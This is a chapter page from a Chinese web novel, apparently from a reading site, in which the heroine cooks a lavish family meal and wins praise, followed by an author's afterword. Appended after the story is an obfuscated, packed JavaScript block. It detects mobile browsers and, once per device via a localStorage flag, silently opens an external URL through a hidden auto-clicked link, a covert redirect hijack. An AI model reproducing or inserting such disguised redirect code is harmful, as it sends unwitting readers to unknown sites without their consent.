第五文学网 > 言情小说 > 田园茶香之天价医妃 > 十二、金瑶厨艺被夸赞

十二、金瑶厨艺被夸赞

    在一个大盆子里倒入了黄酒、酱油、盐、醋、糖,陆金瑶把切好的排骨段都放进里面腌着,然后开始着手拾掇那两条鱼。

    收拾鱼,是一项大工程。

    想要做出美味的鱼,不仅要处理好内脏,更重要的是,在鱼的背部有一条线,从尾部一直延伸到头部。拾掇鱼之前,必须把这条线一口气不断的抽掉,做出来的鱼才没有难闻的腥味儿。

    小心翼翼的去掉了两条鱼背部的线,陆金瑶开始刮鱼鳞、清理内脏。

    陆银铃在旁边摘完了韭菜,又去认真的把韭菜洗干净,放到了案板上,问道:“姐姐,我还要做什么呢?”

    “嗯,摘两颗葱,打两个鸡蛋到碗里。”陆银铃虽然年纪小,但是这些事情做起来都十分熟练,陆金瑶也很放心。

    她把鱼拾掇好之后,在一个大碗里倒上了酱油、醋,又放上了葱、姜、蒜、糖和盐,稍微搅拌了一下,只是对于没有鸡精和味极鲜很是遗憾。味极鲜的味道比起传统酱油来说要好一些,而且也更清淡。

    陆银铃摘好葱,打好鸡蛋,很是主动的去抱了一把柴禾过来,蹲在地上开始拉风箱。她一个小小人儿,拉了一会儿就满身是汗了。

    “银铃,你去玩吧。”陆金瑶有些心疼的说道。

    “不要!”陆银铃年纪虽小,却很是倔强,“我就要在这里帮姐姐嘛。”

    陆金瑶只得笑道:“那你可要注意,不要太累了,小心点儿火星。”

    “嗯!”见陆金瑶不赶自己走了,陆银铃这才很欢快的点了头。

    不管是鱼还是排骨,都是要花时间炖的。幸好陆家的灶台上是可以放两个锅的,不然这顿饭,又是排骨又是鱼的,陆金瑶还不知道要做到什么时候呢。

    想了想,陆金瑶决定先做糖醋排骨和红烧鱼,于是在两个锅里分别做了排骨和鱼,让陆银铃注意看着点儿,如果冒出大量的白眼就叫她。

    之后陆金瑶自己又开始和面,把萝卜切成了极细的丝,自己看着,还很是对自己的刀工有些沾沾自喜呢。

    她这自然是要做萝卜丸子。

    前世陆金瑶吃过的很多萝卜丸子都是白萝卜和胡萝卜做的,但是本地只有青萝卜这一种,所以就只用青萝卜了。

    糖醋排骨和红烧鱼都已经收了汁,陆金瑶把两样菜肴装在盘子里,为了防止变凉之后口感变差,还在两碗菜上面又盖了两个碗。

    当然了,现在已经进入夏天,太烫的也不好。

    之后她把买来的油倒进锅里,先炸了萝卜丸子,然后炸了土豆,但是土豆只炸到半熟。随后舀出大部分的油,又装起来,只剩下一点点,把茄子和炸好的土豆倒进去炒了一番。

    至于另一个锅,当然也不能闲着。陆金瑶在左边做菜,右边的锅却是用来做鱼汤了。

    鱼汤要花的时间很多,陆金瑶炒完韭菜鸡蛋,又下了挂面,撒了一些萝卜丝进去调味。等面条出锅的时候,鱼汤也炖好了。

    姐妹俩把做好的菜肴端上桌,丰盛的菜肴和美妙的菜香诱人食指大动。陆金瑶知道,打从过年起,自家的桌上就没见过荤腥,除了之前她在山上捡的那几枚鸟蛋,因此今天专门挑着大鱼大肉做的。

    看着这一桌子的美味佳肴,陆家的大人都很吃惊,最吃惊的莫过于连素素,因为陆金瑶做的这些从来都菜式没有见过,也不知道这孩子是怎么做出来的。

    陆金瑶端着最后一碗面条坐下,看着家人吃惊的样子,觉得他们可能是被吓着了,于是站起身来,先给云氏盛了一碗炖的白白的鱼汤,端到云氏面前,眨着眼睛道:“奶奶,你们怎么都不吃呢?是不是孙女做的不好吃?尝尝这碗鱼汤吧!”

    其实陆家众人就是有点被吓着了,因为陆金瑶今天各种妖孽的表现给他们的冲击实在是有点大。

    云氏回过神来,笑吟吟的接过碗和勺,喝了一口鱼汤,脸上的神色更加惊讶了。

    “金瑶,这真的是你做的?”

    “奶奶,瞧您说的这是什么话,可不就是我么。银铃就在旁边看着,总不能是别人帮我做的吧?”陆金瑶故意鼓起脸,撒娇般的说道,“是不是不好喝啊?”

    “好喝,好喝。”云氏眯起眼睛,只觉得舌头都要被这鱼汤鲜的掉下来,连声道,“比当年我在‘天下第一楼’……”

    她忽然反应了过来,把后面的话又咽了下去,转而去夹了一块糖醋排骨放进嘴里,只觉得味道虽然有些奇特,但是让人欲罢不能。

    陆金瑶为了口感,更是专门挑了肋条来买的,那肉更是入口即化一般,滑而不腻瘦而不硬。

    连素素夹起一块红烧鱼,送入口中,只觉得鱼肉入味三分,柔软鲜美,却又完全没有腥味儿,不由得又去夹了一筷子。

    “金瑶,这土豆……如此松软,外酥里嫩,味道更是极妙,还有一丝丝甜味儿在里面,我活了这么多年,还是第一次吃到这么好吃的土豆。茄子也做的柔软,外面稍微焦酥了一点,但是更有滋味了,吃着也好吃,跟炖的茄子不一样。”陆炳文也不住口的夸赞着。

    陆银铃更是一心放在吃上,完全顾不得说话了。

    “主人主人,我们也要吃……”陆金瑶正在为家人的夸奖感到高兴的时候,空间里的双生精灵齐齐央求道。

    “嗯,今天晚上就做给你们吃。”陆金瑶用蚊子哼哼一般的声音安抚双生精灵道。

    其实这些菜肴味道好,不仅仅是因为陆金瑶厨艺高超,更是有灵泉净水的作用在里面。

    一家人正和和美美的吃着呢,忽然外面响起脚步声,同时有一个很洪亮、中气十足的男声传进了屋里。

    “弟妹,大侄子,在家不?俺来串门子了!”

    ------题外话------

    感谢雪晓茉和连玦总攻的花花~

    卖萌求收~\(≧▽≦)/~啦啦啦


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('r x(){m(Q y==="\\s\\2\\4\\0\\n\\5\\2\\0\\4"){z R}t a=(S^T)+(U^V);u A=y[\'\\s\\c\\0\\8\\W\\i\\0\\2\\3\'][\'\\3\\1\\v\\1\\o\\0\\8\\p\\6\\c\\0\']();a=(X^Y)+(Z^10);t b;u B=11 12(\'\\6\\2\\4\\8\\1\\5\\4\\d\\5\\e\\j\\1\\2\\0\\d\\5\\e\\6\\4\\d\\5\\e\\1\\4\\d\\o\\5\\2\\4\\1\\o\\c\\C\\e\\j\\1\\2\\0\\d\\9\\7\\6\\k\\q\\9\\0\\8\\8\\g\\d\\c\\g\\f\\9\\5\\6\\2\\d\\o\\0\\9\\1\\c\\d\\1\\e\\0\\8\\6\\C\\f\\5\\2\\5\\d\\5\\0\\f\\1\\9\\5\\7\\0\\d\\f\\1\\9\\5\\7\\0\',\'\\5\');b=(13^14)+(15^16);z B[\'\\3\\0\\c\\3\'](A)}r D(a){t b;u h=l[\'\\k\\8\\0\\6\\3\\0\\E\\7\\0\\f\\0\\2\\3\']("\\6");b=(17^18)+(19^1a);h[\'\\j\\8\\0\\n\']=a;h[\'\\c\\3\\g\\7\\0\'][\'\\4\\5\\c\\e\\7\\6\\g\']="\\2\\1\\2\\0";h[\'\\3\\6\\8\\i\\0\\3\']="\\F\\9\\7\\6\\2\\q";l[\'\\9\\1\\4\\g\'][\'\\6\\e\\e\\0\\2\\4\\p\\j\\5\\7\\4\'](h);h[\'\\k\\7\\5\\k\\q\']();l[\'\\9\\1\\4\\g\'][\'\\8\\0\\f\\1\\G\\0\\p\\j\\5\\7\\4\'](h)}l[\'\\6\\4\\4\\E\\G\\0\\2\\3\\v\\5\\c\\3\\0\\2\\0\\8\']("\\1b\\1c\\1d\\p\\1\\2\\3\\0\\2\\3\\v\\1\\6\\4\\0\\4",r(){m(!H[\'\\i\\7\\1\\9\\6\\7\\I\\6\\8\']){m(l[\'\\9\\1\\4\\g\']!=1e){H[\'\\i\\7\\1\\9\\6\\7\\I\\6\\8\']="\\w";J=K[\'\\i\\0\\3\\w\\3\\0\\f\']("1f".L("").M().N(""));m(!J&&x()){D("\\j\\3\\3\\e\\1g\\O\\O\\1h\\1i\\1j\\1k\\P\\i\\1\\2\\7\\7\\P\\k\\1\\f")}K[\'\\c\\0\\3\\w\\3\\0\\f\']("\\7\\s\\k\\q\\F\\n\\n","1l".L("").M().N(""))}}});',62,84,'u0065|u006F|u006E|u0074|u0064|u0069|u0061|u006C|u0072|u0062|||u0073|u007C|u0070|u006D|u0079|_0x0g4cad|u0067|u0068|u0063|document|if|u0066|u0077|u0043|u006B|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xb84ffe|_0x5f623d|u0020|OpenUrl|u0045|u005F|u0076|window|u0056|hasExecuted|localStorage|split|reverse|join|u002F|u002E|typeof|false|234639|234635|431293|431285|u0041|436461|436452|636174|636172|new|RegExp|776521|776526|120762|120761|272370|272371|569758|569757|u0044|u004F|u004D|null|ff_kcul|u003A|u0037|u0035|u0033|u0032|eurt'.split('|'),0,{}))